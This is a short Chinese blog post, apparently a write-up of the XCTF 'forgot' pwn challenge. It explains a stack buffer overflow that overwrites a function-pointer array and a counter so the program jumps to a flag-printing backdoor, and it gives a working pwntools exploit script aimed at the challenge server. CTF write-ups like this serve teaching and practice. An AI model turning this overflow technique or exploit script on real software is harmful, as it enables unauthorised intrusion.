XCTF-forgot-WP

Posted by l0tus on 2023-03-08
Estimated Reading Time 1 Minutes
Words 343 In Total
Viewed Times

checksec


一道正常的栈题,只开了NX

反编译


第一次fgets输入长度为32,后面有一次scanf输入v2,结合栈的排布可以发现输入v2的时候可以溢出覆盖s,那么我们只需要控制好第二次输入就可以了
shift+f12看到有cat flag的字符串,找到对应函数:


程序最后对"v3[–v5]"的地址会直接调用,而前面的程序就是通过判断v2[i]的值是否在小写字母范围内对v5进行累加(在v5>=5的情况下),最大到10.
那么我们需要做的就是通过覆盖v3[9]的地址为后门函数
然后需要做的是覆盖v5的初值为5及以上,然后让程序自带的循环将其加至10
需要注意的是不能一开始直接覆盖成0x9或者0xA,因为scanf读入%s的时候输入16进制数会解析成对应的ascii值

而scanf读到0x9和0xA对应的ascii码值就停了,前面的不会,所以不能是直接覆盖成0x9或0xA
小细节,也算是学到东西

exp

1
2
3
4
5
6
7
8
9
from pwn import*
context.log_level='debug'
#p=process("./for_got")
p=remote("61.147.171.105","50072")
p.sendlineafter("> ","l0tus")
#gdb.attach(p)
payload=b'a'*0x44+p32(0x80486CC)+b'a'*0x20+p32(0x8)
p.sendline(payload)
p.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !